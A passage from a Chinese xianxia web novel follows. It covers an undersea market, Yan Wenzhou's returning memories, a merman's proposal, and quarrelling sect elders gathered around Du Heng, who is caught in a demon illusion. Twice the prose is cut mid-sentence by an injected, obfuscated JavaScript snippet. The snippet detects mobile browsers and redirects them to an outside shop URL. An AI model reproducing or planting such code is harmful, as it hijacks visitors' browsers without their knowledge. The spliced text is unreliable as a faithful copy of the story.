这蚌妖有脑袋大小,壳色白如羊脂玉,其上分布着道道竖纹,十分均匀,一探到有人来了,便飘出一道热情的声音:“客人看看珍珠呢?都是我自己产的,品质好着呢!做个地阶丹药的原材料不在话下!” 严文洲毫不吝啬地夸起来,“唔,道友这珍珠确实我所见过最漂亮的珍珠了,只是在下才疏学浅,不知这颜色可有什么讲究?” 蚌妖被捧得飘飘然,“颜色么都是我随便调整的,若是要入药,道友还是选白色的比较稳妥。若是炼器,紫色的略带些许天雷气息,发灰的属金,发绿的属木。对了,道友若是有什么想要又没有的,我这里也接受定制,只是我得先看看主材料才能决定接不接。” 严文洲抚过珍珠的手顿了一下,一道睽违已久的心音响起:“嘀——检测到大量能量,正在充能中,请保持能量接口链接稳定。” 他立刻缩手,“嘀嘀——能量接口断裂,充能终止!” “啊道友喜欢这个?”蚌妖声音欣喜,“这是我磨了三百年的珠子,道友可真是好眼光!不知道友愿意从什么来换?” “……不知道道友可愿接受灵石?” “啊这个,这东西在海国可使不开。” 严文洲神识在储物袋里探了探,修为涨得太快,里面除了一些法器便是灵石,啧,东极道那几个叛徒实在是穷! 他顿时有些后悔没有在水火二人组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152703|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上刮点东西下来了,总不能拿无缺丹来换吧。斟酌片刻,他朝蚌妖道了句抱歉,“在下只有灵石。” “唔那也行吧,那枚珠子三千中品灵石。” 严文洲幽幽叹了一声,爽快付钱,储物袋中的灵石顿时十去八九。 “道友爽快,这些也都送给你了!”所有珍珠一下全滚到了严文洲面前,再一抬头,蚌妖已经溜了,像是生怕他反悔一样。 珠子一到手,死水般的音调又响了起来,果然没听错,系统的声音变得十分虚弱,似乎只差一点就要断气了。他掐着时间,待到系统声音恢复了许多便把珠子扔回了储物袋中,“统兄,你这是怎么了?” “还不是因为给你引天雷!再多来几道,我就要直接被劈散了!快点快点,让我再吸点!” “这珠子里该不会也是玄天卷的一片分魂吧?” “啊啊——怎么可能!里面只是一小块鲲鹏灵骨!” 严文洲神情微滞,这种好东西那蚌妖居然没认出来?!不可能啊!他迅速反应过来,“灵骨上有封印?” “对,要不然估计也轮不到我,”系统感叹了一句,又开始催促宿主把珠子给它。 严文洲却不为所动,“统兄,不知先前你关于明朔剑尊的推演如何了?” “……我算不出。” “这么说来,明朔剑尊已踏入渡劫期的消息是真的?” “应该。” “那钟慎呢?” “……钟慎的命途我也算不出。” 严文洲嘴角泄出些许笑意——毫无疑问,这是个好消息。 “宿主,哪个,鲲鹏灵骨……” 既然已经知道了里面是什么好东西,他自然不会任由系统糟蹋,直接摸出几块中品灵石哄着让它将就一下,又保证将来还会有更好的东西赠予它。 东西在储物袋里,它还能怎么样呢?再跑出来一回,不又得挨天雷了么? 系统气得模拟出了咯吱咯吱的咬牙声,却也无可奈何,只能飞快地嘬完了灵石,借着修养的名义重又回到一声不吭的状态。 严文洲乐得清净,又继续转了起来。 海市没有昼夜之分,海面上已然沉了下来,红珊瑚丛里却愈发热闹,许多昼伏夜出的海兽们悠然游进了海市,严文洲视野中奇形怪状的半人半兽也越来越多。熟悉感也愈发浓重,似乎他在很久以前也曾见过这些东西。 那时的海市,还要更繁盛一些。 红珊瑚枝上垂下的明珠串下应该有一个少年修士,眉眼被辉光映得朦胧,却仍然能看出优越的轮廓。 “严道友,你……” 他恍惚了一下,只听身后传来一道十分不耐烦的声音:“让让让让,堵在这儿干什么呢!” 严文洲深吸一口气,侧身让开,一只蟹妖立刻横行霸道地走了,两只豆豆眼还十分有力地瞪了他一眼。 严文洲没工夫理他,心中掀起惊涛骇浪——方才那位少年,定然是差点成了天魔食物的那位少年,而且,那人居然和杜衡有些神似! 怎会如此?! 念头纷涌而至,画面如雪片般纷至沓来,销声匿迹很久的剧痛再度沿着奇经八脉传遍全身,而零散的记忆也在这一刻连成大段。 “听闻此处热闹,正好师尊要来商议什么事情,便央着他带我来了。怎么,见我不高兴?” “怎么会,只是我师尊也有事前来。既然临川君也来了,想必是有大事商议。” “瞎操心什么,天塌下来也砸不到我们头上,若师尊他们都搞不定,那恐怕就是生灵涂炭的大事了。嘿,要真是如此,我们现在不享受一番岂不可惜?” “这——不太好吧,我等还是以修炼为上。” “欸你这人不是平日里在太清宗清修修傻了吧,疏星真人此番带你来的意思还不明白么?是让你好好休息一番,以免操之过急,走火入魔!” …… “你这小子,年纪虽轻,修为倒是颇为不错,做个散修未免可惜,可愿入我谢渡门下?” “谢渡你在干什么!这可是我的徒儿!” “多个师尊多座靠山,这位道友,我东极道还不好么?” “姓谢的你睁大眼看看我是谁!?” …… 是了,那人是三都山温家的人,曾经跟着他师尊来过海市。 那人叫温长玉,字蘅,世人如今称之为明朔剑尊。 35.海国(四) 四洲历某年某月,天渊异动,共同镇压的小蓬莱、东极道、海国力有不逮,无法弥合天渊裂口,邪魔妖灵已距离裂口仅有百里之遥,不日便可破出。 迫不得已之下,传讯飞鹤向四洲各大宗门飞驰而去,临近的东洲各大世家仙门闭门不出,惟百川江家悍然回应,临川君高调入海,霞光于东洲上空三日不散。 不日,太清宗疏星真人秘密至海国天渊。 其后不久,东洲还真山庄、九霄剑派遣长老至海国,南洲各仙门长老亦云集海国,魔道各宗门响应寥寥,唯魔尊谢渡孤身前来。 名义上都是恭贺潮生节千年庆典。 天渊异动的事只有这群从四洲各地赶来“庆贺”的人自己知道。 而自己是什么时候知道的呢? 严文洲失神了一瞬,心想应该是见到一个个四洲赫赫有名的长老出现在潮生节时。少年不识愁滋味,纵然天真要塌下来了,也能寻出些乐子来,更何况,潮生节并未因此停止,事实上,海市还更加繁盛了。 作为海国镇压法阵的一部分,潮生节海市带来的气运愈高,修补天渊裂口的压力就愈小。师尊神出鬼没,偶尔出现时仍然是嬉皮笑脸的模样,似乎万事不愁,突然某天出现时,也只是告诉唯一的徒儿自己要闭关,暂时别来找她。 潮生节安安稳稳地过了千年庆典,前来庆贺的临川君借了海国一座小岛闭关,三天后再出关已是洞虚期大圆满,离渡劫只差一步之遥。 就这么无波无澜地过去了。 严文洲嘲讽一笑,神情莫测。他自以为穷尽了所有可能,却独独漏了一种——道侣怎么就不能成为死敌呢。 说不定,还正是因为差点成了道侣才变成死敌的呢! 思及当初潮生节海市上,自己一口一个“兄弟”,他就恨不得倒提着自己把脑袋里的海水全倒出来——兄弟,还兄弟!兄弟个屁!兄弟会想一亲芳泽!?兄弟会想…… 呸! 隐藏了许久的名字终于散去笼罩其上的薄雾,他心里一点高兴不起来——是谁都好,偏偏是他!一等一的麻烦,举世无双的烫手山芋,仙修模范,正道之光! 哪怕是那个满脸褶子的太清宗掌教,他都觉得没那么要命! 可当时的欢欣雀跃到底不是假的,甚至强烈到能在百年后的今天也依然鲜明,心跳仍然因为那些时日而多跳了半拍。 眼前的波澜与梦中的波澜合二为一,严文洲茫然了一瞬间,发觉自己竟然很希望在红珊瑚珠串下再见那人一面。没有分道扬镳,没有反目成仇,只是两个少年修士并肩而行。 若再见一回温长玉,他……滋长的妄念瞬间被冰凉的海水浇灭,严文洲幽幽吐出几个泡泡——自然只会再给自己一剑,再无其他结果。 虽然还是没记起来当年垂云汀之事是如何结局的,但就冲着后来江家的事,温长玉定然是和自己无缘无份了,若硬要说下文,那便是杀来杀去、势不两立的关系了。 那杜衡呢?从垂云汀出来后,这人的态度便有些奇怪,他是不是早已猜到一二?那为什么又只字不言呢? “严兄,你怎么了?脸色怎么这么难看?”消失了一整天的海无涯又出现了,也不知他是怎么找到的。 “……无妨,只是想到了一些,”严文洲扭头看着鲛人,心中一动,无中生有道,“方才听闻明朔剑尊也曾来过海市,不知是真是假?” 海无涯脸色顿时僵硬得跟块板一样,“来是来过,只不过不是红珊瑚海市,而是潮生节海市。” “我听那海妖说,剑尊当时年纪甚小,还有个同行人,不知是哪位大能?” “哈哈,许是疏星真人吧,这都是百年前的事情了,严兄问这个做什么?” “不过好奇而已。听海兄说我父亲和剑尊有些过节,先前有东极道的人在侧,不好多问,如今到了海市,不知海兄可否告知一二?将来若有什么万一,我也好有准备。” 看着严文洲微妙的眼神,鲛人甩尾巴的速度都减缓了许多,许久才支支吾吾道:“呃,既然你双亲将你送至你师尊处,那、那定然是有一定道理的!我也不好多加干涉,还望严兄谅解。” 严文洲流露出些许失望。 海无涯又立刻拍着胸脯道:“不过严兄放心,我这里定然是安全的!” 安全么? 恐怕不见得。 几个时辰后,离鳞光阁最近的一处白贝客栈,严文洲看着屋内的三位海妖幽幽叹了口气。 “请问诸位是来做什么?” 三位海妖左右看看,扭了一阵,制造出一片荡漾水波,一位扁身宽头的海妖首先张了张嘴,“有人想打探一下你。” 其次是一条银光闪闪的带鱼,“不过我们没答应,打算先过来看看再说。” 最后是一只半透明的水母,“你想知道那人是谁么?” 反正不是那位楼台使。严文洲嘴角微微扬起,“总不会是黑礁族长吧?” 三妖齐齐不动了,四只眼睛一眨不眨地看着青年,一字未言却已透露出了所有。 严文洲也不知道黑礁族长到底为什么会找上这三只似乎灵智未开的海妖,但既然已经到了面前,他就得好好让他们回去交差,于是道:“那烦请诸位回去告诉黑礁……那人,就说我是个不爱杀生的好人。” 三妖又扭了起来,互相看了好一阵才道:“好吧。” 目送着这三个笨妖怪游出巨型白贝搭起来的窗户,严文洲没关窗,就这么望着昼夜不息的海市,身上无端多了股凝重气息。 方才,海无涯已经将蜃珠中的记忆以秘法提取了出来,效果相当不错,买凶者虽然面目模糊,但装束实在太有标志性了——一身从头笼罩到脚的黑斗篷,连下巴都看不见。 正是辉虹阁那位楼台使。 海无涯当即气得鳞片又竖起来了,立刻叫来了红珊瑚,要将所有辉虹阁的修士都拉进了红珊瑚海市的黑名单,等待的功夫又一点都不耽误时间地把这位楼台使挂上了黑礁一族的悬赏名单。 红珊瑚海市虽然主要是由红珊瑚们举办,但黑礁在背后出了不少力,作为最靠近天渊的一族,他们甚至是海中奇珍的一大来源。 先前蜃妖之死已经传开,红珊瑚们怎么会不明白,当下就笑眯眯地保证一定不会再让半个辉虹阁修士进入红珊瑚。海无涯很是满意,和严文洲约定好了明日再逛,便乐呵呵地走了。 只是这一番大动作不免会惊扰到其他人,比如说,黑礁族长。 然而左等右等,严文洲却始终没等来记忆中那位黑尾鲛人,一扭头眼前却多了一位银白尾的鲛人,一开口便是鲛人一族鼎鼎有名或者说臭名昭著的惑音:“道友怎得不杀了刚才那几个?”声音隐隐约约地荡出一点微妙尾音,乍一听心神动摇,心神不定的自然会吐露心声。 严文洲心中了然,恐怕这才是真正来试探他的人,然而他也不打算装,反手关了窗便问道:“为何要杀?” “自然是做材料啊,那几个可都有上古荒兽的血统呢,要不然也不会到了金丹期还这么笨。”来人稀奇地绕着严文洲游了一圈,显然看出了这人修并没有被惑音所惑。 “道友说笑了。我纵恶贯满盈,总也不见得碰到一个活物就杀吧?方才三位又没动手,不过问几句话而已,就算是血统惊人又如何。” “唔,有些道理。不过人修向来能说会道,你如今说不定在想怎么杀了我呢?” “我杀了道友作甚?我与道友无冤无仇,凭白给自己招一份海国的追杀令?” “你与我无仇,可你已经招惹了不该招惹的鲛人,到时候,你可能就不得不杀了。” “今朝有酒今朝醉,等他们杀上门了我再杀也不迟。” “唔,道友若果真如此,我愿与道友交个朋友。” “在下严文洲,不知道友如何称呼?” …… 不远处的鳞光阁,黑礁族长很快得到了手下报上来的一句——他是个好人。莫名其妙之余,她立刻把探子叫了上来,一看便险些把尾巴下面千年玳瑁制成的楼板给扇出个大洞。 谁把这三个宝贝傻货放了出去!? 然而这个问题实在不用问,能这么干,还敢这么干的也只有另一个大号傻货! 气冲冲地找来了海无涯,黑礁族长一个字还没问就听到了一连串辩解。 可这番辩解该起的作用一点没起,海无涯眼看着这位本就脾气不好的族长更生气了,“糊涂!你既已知道他的身份,便知他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168009|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代表着无穷无尽的麻烦!要么现在就离他远远的,要么……” 黑礁族长看了眼自己儿子,见他仍没反应过来,陡然恨恨地一甩尾,转身离去,“跟我回去闭关!那人来去我自会处理好。” 海无涯却慢半拍地反应过来了,眼睛一亮,“族长果然厉害,我明日便去求娶他。” 黑礁族长难得傻了眼,几乎不敢相信自己听到了什么——难道自己的意思不是很明显的要他倾注资源,助那人继承他爹的遗产,最好再一统魔道的意思么?! 看着海无涯兴奋地冲出去的身影,黑礁族长气不打一处来,刚想厉声喝止,忽有觉得这样也不错。等这小子吃了苦头、栽了跟头就知道什么叫危险了! 翌日,严文洲一推门便碰见了海无涯。 这鲛人也不知昨晚是干了什么,眼中带着些压不下的激动,一见到严文洲便扯住了袖子开口道:“严兄,我带你去见个好东西。” 片刻后,一人一鲛人站到了鳞光阁最顶层,面前是一柄漆黑长刀。这刀造型古朴,形制于如今四洲所用的几类长刀都有些差别,并且刀身上刻着极其细微的两个古字。 美中不足的是,刀口略有些缺口。 严文洲一眼看出,这定然是一柄在中域天柱崩塌前就诞生的刀,且品阶极高,这样的东西,即便是给那些天纵英才做本命法器也绰绰有余。 他双目微阖,神识探出,即便隔着一层禁制,刀灵仍然雀跃了起来,很满意面前的这位人修。 古修士法器流传下来的不少,只是历经千年灵性未泯的却寥寥无几,最后剩下的这些无一不是佼佼者。像面前这柄刀,定是有市无价! “严兄,你可喜欢?”看出了古刀的震动,海无涯颇为雀跃地甩了甩尾巴,十分殷勤地凑到了严文洲身边,“此刀乃天渊中古修士遗物,百年前经由我族辗转落入红珊瑚们手中,不过我海族少有人用刀,这刀也因此在这里沉寂了多年,严兄若有意,我便将这刀赠与严兄!” 严文洲盯着刀看了一阵,忽地扭头,嘴角笑意多了几分微妙,眼中莫名浮上些许冰冷。这点冰冷一闪而逝,似乎只是错觉,再定睛时,面前青年仍然是惯常那副潇洒随性的样子,但海无涯莫名有些发怵,一时没了言语。 鳞光阁中一时落针可闻,海市的喧嚣半点透不进来。 许久,严文洲才慢条斯理地开口道:“海兄这是何意?” 海无涯仍未从方才无端的战栗中回过神,明明修为差了两个大境界,可他居然有了一种被大能注视着的感觉,好像答错一点,他就完了。 见这鲛人脸色实在难看,连尾巴不摇了,严文洲放软声音开了个玩笑,“海兄这是怎么了?难不成是想起昨夜的噩梦了?” 下一刻,他就听着这鲛人以一种十分飘忽的语气问了一句:“严兄,你可有道侣?” 便是再迟钝,严文洲也意识到了些许不对劲,再看看海无涯的神情,脸上已经带上了不甚明显的渴望。 他顿时惊愕,又觉得好笑——这鲛人,得不到东极道主,就找上了“东极道主之子”? 至于么? “我知严兄天纵英才,年纪轻轻就成就了金丹,将来定然有大造化,我虽虚长几岁,但……”话没说完,他就被严文洲直接打断,“海道友,我已然有心上人了。” “……谁?” 看着海无涯一脸不信且十分不甘心的表情,严文洲无奈地叹了口气,“这人你也认识,便是杜宗主。” 海无涯仿佛被天雷劈了,睁目结舌,许久才哆嗦着嘴唇道:“可、可他是你师尊!” “是啊,可师尊又如何?海兄与我不也隔着一层异族之别么?况且,如海兄这般人物,应当是明白情不知其所起的道理的。” “……也有道理,可,”海无涯没有多犹豫,眼神凝在了严文洲脸上,神情紧绷至极,两只黑亮的眼睛几乎要落下泪来,“可我当真没有一点可能么?” 严文洲又叹了口气,他如今万分确信,只要自己一点头,这鲛人就能立刻变出能填满一个鳞光阁的聘礼送给他,或者换个名字,嫁妆也不是不行。若是旁的事,他免不了要劝几句,可在这事上,他却觉得自己还是少说些话比较好,于是只缓缓摇了摇头。 36.天魔来处(一) 同一时刻的海东城,青天白日也透着一股死寂阴寒之气的城主府较往日更加寂静,往来尸修行色匆匆,竟像是看见了天敌。 从某种程度上来说,夜游宫弟子们的反应也情有可原。毕竟如今在这夜游宫宫主暂居的城主府里,聚集了一大堆仙盟修士,一个个还都是四洲有名有姓的大人物! 要命了,该不会宫主要背叛魔道,跟仙门结盟吧? 一声清越剑鸣,又有一位宽袍大袖,服色分外青白的修士落了下来,只是行色匆匆,几步就冲了进去,和他飘然出尘的外表极为不相符。 “九霄剑派何知意?”有弟子以口型示意。 夜游宫弟子们互相看看,摇了摇头,走得更快了。 海东城城主府修造于千年前,虽然几经翻修但并未改变其大体布局,是一片沿中轴线分布的极为工整的建筑,一条经云道贯穿其中,就在弟子们沿着经云道快步离开时,刚落下的修士已经拐了个弯儿到了城主府的靠东侧一片禁地。 重重禁制掩映下,这栋独立小楼金碧辉煌,硬生生在阴气浓重的城主府显出了几分仙家气象。守在门口的长老一抬眼,见是个熟人,默默将他放了进去。 进了里面,才发现另有玄机,没了禁制的灵光,小楼笼罩在一团朦胧的薄雾中,种种幻象生于其中,跟着薄雾涌动的速度缓缓变换,颇有些像海市蜃楼,只是更加玄妙,粗略一看都觉得目眩神迷。 小楼外已经聚集了不少人,何知意眼神一扫,吃了一惊。夜游宫和还真山庄自不用说,小蓬莱这种场面也是必到的,然而连东极道都来了一个,还是鼎鼎有名的清河使,约莫还因为正举行风雨论道的缘故,里面还有个太清宗长老! 这群修士都去端掉一个中型宗门都绰绰有余! 想来事情发展得着实不太妙。 见来了个新人,立刻有位小蓬莱修士凑了过来,“何兄,听闻贵宗各个剑心坚定不移,对付邪魔之流很有一手,不知这可是传闻中天魔幻影?” 何知意眯了眯眼,十分刻意地避开了这人,冷笑道:“道友说笑了,我们不过是一群穷酸剑修,哪里有什么对付天魔的好方法,听闻有人能将天魔封印于画卷之中,我看道友要是寻对付天魔的良方,应该找他才对!” 这话说得明明白白,一点不遮掩,甚至十分大声。在场的大多是东洲仙门长老,平时抬头不见低头见的,便是没见过也多少听闻过各自的名号,何知意这一下拂了小蓬莱的面子,气氛顿时紧张起来。 小蓬莱长老一下涨红了脸,“何道友这是什么意思!?难不成是说我小蓬莱便是那等阴谋算计贵派之人?我小蓬莱镇守天渊千年,怎么会做这样的事!?若说天魔,那东极道……”没说完,他便意识到不对,霎时停住话头,只留下一句干瘪难听的叫声,宛若被掐住脖子的鸡发出的最后啼鸣。 立刻有人发出了一声掩饰意味十足的清嗓声。 还真山庄的一位教习本想打圆场,但看了眼何知意的脸色,又瞟了眼小楼外的薄雾,最终还是抚着长须看向了别处。 清河使周身笼着四海真水形成的白雾,半点看不清神情,只听雾气中幽幽传来声音:“这位长老,你若想说什么,不妨直说,这般遮遮掩掩的,也不是仙门风度啊。况且,容我提醒一句,天渊乃是由东极道、海国和贵宗共同镇守的,若贵宗博爱大度,愿意顶替我东极道,我们自然是乐得清净。” 顿了顿,他笑了一声,声音愈发轻飘飘,甚至有些嘲讽,“再者,尊主已然身死道消,驱使天魔之事,恕我等无能,实在干不了。” 小蓬莱长老不罢休,冷哼一声便道:“谁知道你们是真做不得还是假做不得!那修罗门门主还说那魔……你们尊主没死呢,来一招祸水东引也不是不可能!若是海国和九霄剑派都和我小蓬莱起了龌龊,东洲定然大乱,他趁此机会为祸世间岂不是更好!” 清河使周身的白雾停滞了一瞬,下一刻,带着笑的声音传出雾气,“长老好谋算!焉知不是正有此意?” “你!” 何知意冷不丁开口,却是朝着小蓬莱长老,“东极道孤悬海外,自然比不得做了几千年邻居的九霄剑派,若要谋算,自然是该先谋算我们的,是吧?” “你、们!没想到你居然自甘堕落,与魔道狼狈为奸!九霄剑派千年传承,怎么冒出了你这样一个弟子……”小蓬莱长老愈发跳脚,若非眼下情况实在不合适,恐怕要直接与何知意打起来了。 还真山庄的那位教习眼前虽只有一株老树,却是耳听八方,小蓬莱长老的怒喝清清楚楚,附近各宗长老此起彼伏的叹气和私语也不在话下,更捕捉到了一丝疑似剑鸣的微妙声响。 都是各宗各派的长老,平日里也不至于闲得发慌到处瞎掺和,他们聚集在此处本是为了面前这一片天魔幻影的,可不要说商量出个结果,就连事情本身都尚未分明,他们自己却先吵起来了。 东洲的仙魔两道倒也不至于一见面就大开杀戒,平日向来保持着井水不犯河水的状态,然而如今被逼着聚在一起,不出事才奇怪呢! 还真山庄教习愈想愈觉得这事没辙,说不准还要闹得更大一些,正盘算着还真山庄的后路,便感受到了一股浓重的阴冷之气。 细微风声过耳,他立刻扭头,听见了一道冰冷至极的声音:“我请诸位道友来此,可不是来听吵架的。” 还真山庄教习一哆嗦,一边觉得好戏要开场,一边又揣度着夜游宫这位宫主威势愈发重了,似是前些日子的闭关大有进益。 小蓬莱长老依着惯性本想辩解几句,但思及如今是在夜游宫的地盘上,顿时讪讪退去,悄然换了边儿站。 何知意扯了扯嘴角,颇有些客气地开口道:“先前飞鹤传书上只道杜宗主是在推演天机中陷入这片天魔幻影,不知闻宫主到底请他卜算了什么?” “天魔来处。” 夜游宫主言简意赅,环视了一圈众修士后又慢慢说道:“先前我宗门人也在垂云汀中发现了天魔痕迹,此外,诸位可知,落入黑礁少宗主手中的那副天魔画卷画的乃是紫霄剑江明紫?” 众长老勃然变色,没几个还能保持泰然自若的模样。 垂云汀的事情虽然已是五百多年前的旧事了,但对于东洲仙魔两道势力的影响却足以载入四洲史,遍地锦绣转眼成一片猩红,对比何其惨烈,便是当时还不知事的垂髫幼童长大了都要被耳提面命一番。 小蓬莱长老断然开口:“那不更能说明这是东极道搞得鬼了?!世人皆知,百川江家乃是毁于东极道主之手,既然垂云汀有天魔,定然是他引来的!” 何知意剑眉微挑起,“垂云汀距离我派虽有些距离,但这么多年过去了,若有天魔,总该传出些什么才对,为何从未听闻?” 还真山庄教习却是脸色微变,想到了山长不久前的诡异行踪,还有如今正在庄里的那座大佛,正心里打鼓,便见夜游宫主泛着股寒气的眼神落到了自己身上。 “有人设下了封灵阵。” 夜游宫主并未避人耳目,这一番动作立刻被些心思敏锐的察觉到了,还真山庄教习身上的眼神顿时多了好几双。 他正想岔开话题,姓闻的却主动道:“不过是些无用旧事,我请诸位道友齐聚于此是来商量对策的,不知诸位可有什么好办法能解杜宗主之困?” “如何是这人的麻烦事,分明是东洲的祸事。”不知哪位长老嘟囔了一句。 小楼外顿时安静得近乎死寂。 不错,若小楼内那位宗主最终没有破开天魔幻影,那么以他炼虚期的修为,再加上天魔的加成,抵得上两三个合体期,若反应不及时,海东城以及附近几个城池都得遭殃,若是再厉害一点,那便难说了。 这才是他们甘愿前来的原因。 时间一分一秒过去,谁也没开口。 一直到有魔修开了口:“天魔幻影千年难遇,这位又是修卜算之道的,受到的影响更深,我看呐,不若早些结果,也好过事后收拾烂摊子。” “不错,如此甚好。”小蓬莱长老抚须赞同。 清河使陡然开口,声音里仍然带着笑意,“我记得先前便是贵宗逼得杜宗主远走南洲吧,他一身陨,岱屿传承正好就能归还小蓬莱,少了个祸患,多了份传承,长老怎得还不笑出来?” 这件事本是秘事,见他在众人面前叫破,小蓬莱长老顿时又急又气,半点都笑不出来。不等他反应,方才那位魔修便看着清河使的那团白雾改口道:“若是如此,我等还得再想想有没有什么万全的法子才好。” 纵然少了一个尊主,但东极道仍可说得上是四洲第一魔道势力,虽然不知道个中缘由,但清河使发话,自然是要跟的。那魔修想得通透,仙门中人多少变了脸色,或是忍笑,或是鄙夷,还多少瞥了眼太清宗那位峰主的神情,企图也省些口舌。 小蓬莱长老暗骂了一长串,一个字也没敢蹦出来,眼神落到了太清宗玉阙峰主周静身上,假笑道:“听闻明朔剑尊正于还真山庄论道,想来就算是杜衡入魔,有剑尊在,我等也不必忧心。” 周静不置可否,只道:“此间事情颇有些古怪之处,我年轻资历浅,就不妄加议论了,只不过,众位不觉得天魔幻影更加浓重了么?” 众人仰头望去,小楼上凝聚的幻影果然凝实了许多,变化速度更是刹那千变,只扫了一眼便觉神魂不适,若是再凝实几分,只怕此处是呆不了了。 “确实。”何知意缓缓点头,神情凝重,周身隐约透出微弱剑鸣,显然已经被眼前场景刺激到了。 “看样子,杜宗主怕是要撑不住了,听闻太易宗门徒寥落,杜宗主若能自裁,避免东洲生灵涂炭,想来太易宗今后也不怕招不到弟子了。”有长老低声道。 见诸人眼中杀机闪动,还真山庄教习猛然想起了什么,立刻走出来,郑重道:“我山庄中有典籍曾记载,陷入天魔幻影的修士绝不可惊动,一旦惊动,便再无转圜可能了。” “而且,”他犹豫了一下,忽地回身看向了清河使,“道友觉不觉得这股气息有些熟悉?” 白雾中传来一声叹息,“天渊。” “你这小子叫杜衡?唔,好名字,相逢即是有缘,看你也是个散修,不知是否愿意加入我太易宗?” “嘿嘿,我还缺一个弟子,不知你可愿意……唉唉唉,我都没说我是修什么的呢!” “哇呀呀,乖徒儿你怎么修炼得这么快啊!可别再修了,歇会儿,像我们这种修士,算得大差不差就好,算得太准可是要挨天雷的!我看以你的天资,安安稳稳到炼虚定然不成问题!” “岱屿岛传承?哈哈,祁掌教我也不瞒你了,我师傅身陨前可是千叮咛万嘱咐,让我不要把岱屿岛传承给小蓬莱的人,毕竟千年前那位前辈给传承时,可是让我师祖发了心魔誓的。” “往事已矣,李宗主何必如此?先前确是我小蓬莱对不起岱屿,但岱屿岛与小蓬莱本为一体,岱屿传承回归小蓬莱对于岱屿来说也是件好事,以贵宗的资源,想来很难找出一个适合岱屿传承的弟子吧?” “祁掌教不必再说,传承一事本就尽人事听天命,一时找不到弟子就找不到弟子,只怕,那位前辈的残魂还在传承中守着呢。” “既然如此,我便再说最后一句话,若李宗主能将岱屿传承还给小蓬莱,我小蓬莱自当奉上万枚灵石并灵脉一条,若不然……” “轰——” …… 百年前的往事一一经历,痛苦也好,欢欣也罢,统统得再来一遍,仿佛时光回溯一遍。身陨多年的师傅再次活蹦乱跳地出现在眼前,说不怔愣心酸是假的,可哪又如何? 他确实是在自己面前身死道消了,连带着太易宗三个山头和无数屋舍,唯一还可庆幸的便是当时的太易宗弟子不过两个,全部安然无恙。 所以面前这些,无非是天魔伎俩而已,若自己真沉溺其中,那才是毁了师傅心血。 推演出天魔来处的那一刻,杜衡就心有所感——自己的劫数来了。 说不定,这便是师傅身陨前算出的那道死劫。 一天又一天飞逝,一年又一年过去,师傅身死,太易宗南迁,路上碰到陶乐……他重又走过了那条路,百年时光在脚下一一踏过。卜算难修,踏上此道的修士历来寥寥,能修到精深的更是少之又少,细观来时路,似是命数,似是人事。 这一切只是因为那一份岱屿传承么? 自然不是,没有岱屿传承也会有别的事,天道想要一件事发生,便能生发出无数条路径来达到目的。所谓推演天机,不过是看到天道的一点照影而已。 “是么?那师尊可曾算出我是什么模样?何时出现在飞仙城?” 眼前景致骤然一变,一座石质山峰拔地而起,停住的瞬间便有大片草木一路从山脚爬上山顶,一座主殿凌空降下,太玄峰落成。 最后,便是这人了。 杜衡凝视着这人,百年光阴相隔,他却觉得这人愈发熟悉,似乎从未离开过。 “惭愧,我还算不到如此地步,不过是心有所动而已。” 这人的声音仍然很轻,似乎山风一吹就会散去,但既然太玄峰上那座破烂主殿历经风吹雨打也仍然健在,杜衡便也不会轻易人间蒸发了。 严文洲嘴角渐渐显出些笑意来,觉得心有所动这四个字甚妙。即便这只是他在天渊中见到的幻影,他也觉得欢喜。 到处都是丑得千奇百怪的天魔,难得见到故人容姿,还是如此标致的故人,即便是高阶天魔变幻而成的头号危险品,他也愿意花点时间逗逗“杜衡”。 此处不计年岁,被海无涯诓骗进天渊的事情似乎已经是很久远了,又好像昨天才发生。前脚说什么“昨日莽撞无礼,严兄要打要骂都使得”,后脚就送了他一份大礼,这鲛人还真是…… 思及那位黑礁少族长,严文洲的心情就有些微妙,顺手给了脚边刚生成的天魔一刀,还是决定暂且放过天魔们,好好与这位“杜衡”放松一阵,“师尊怎么会在此处?难不成是来救我的?” 杜衡心中一动,“我亦不知自己为何在此处,更不知你为何在此处。至于救你,只怕我是泥菩萨过江自身难保,我还想着你是否能搭把手呢。” 车轱辘兜了一圈,仍转回到了严文洲自己身上。好笑之余,他放弃了这个话题,直接道:“既然已到此处,师尊可想做些什么?” 做什么? 杜衡渐渐拧起了眉,既已知天魔来处,此行便已有所得,尽快脱离天魔幻影才是正事,如面前这种天魔,自然是直接打杀了。可不知怎么的,心念一起,他便有几分心悸,似乎这是个极不妥的主意一样。 杜衡自然知道这是在天魔幻影中,毕竟他那不省心的二徒儿如今正该是在跟着黑礁少族长醉生梦死呢,怎么可能跑到天渊里去。 看着这人自带三分深情的桃花眼,他怔愣了许久,只轻声道:“你先前问我是否算到你何日出现,我确实算不出,我只是算出了一道破题之法而已。” 严文洲没想到这天魔这么会编,顿时稀奇地追问起来,“破什么题?” “一道死劫。” 回答完,杜衡又安静了下来,灰蒙蒙的眸子定定地停在眼前的执刀青年上,一眨不眨地看了许久。 托他那一双异于常人的眼睛所赐,杜衡直勾勾看人的时候并不十分锐利,反而带着几分柔和,颇有几分温情脉脉。 严文洲任由他看,没有半点不自在,只觉得不愧是天渊孕育出的天魔,果然十分了得,瞎编也编得像模像样的,而且神情体态无一不精细,十分自然,恐怕只有杜衡亲身前来才能分得清一二。 两人念头闪动,脚 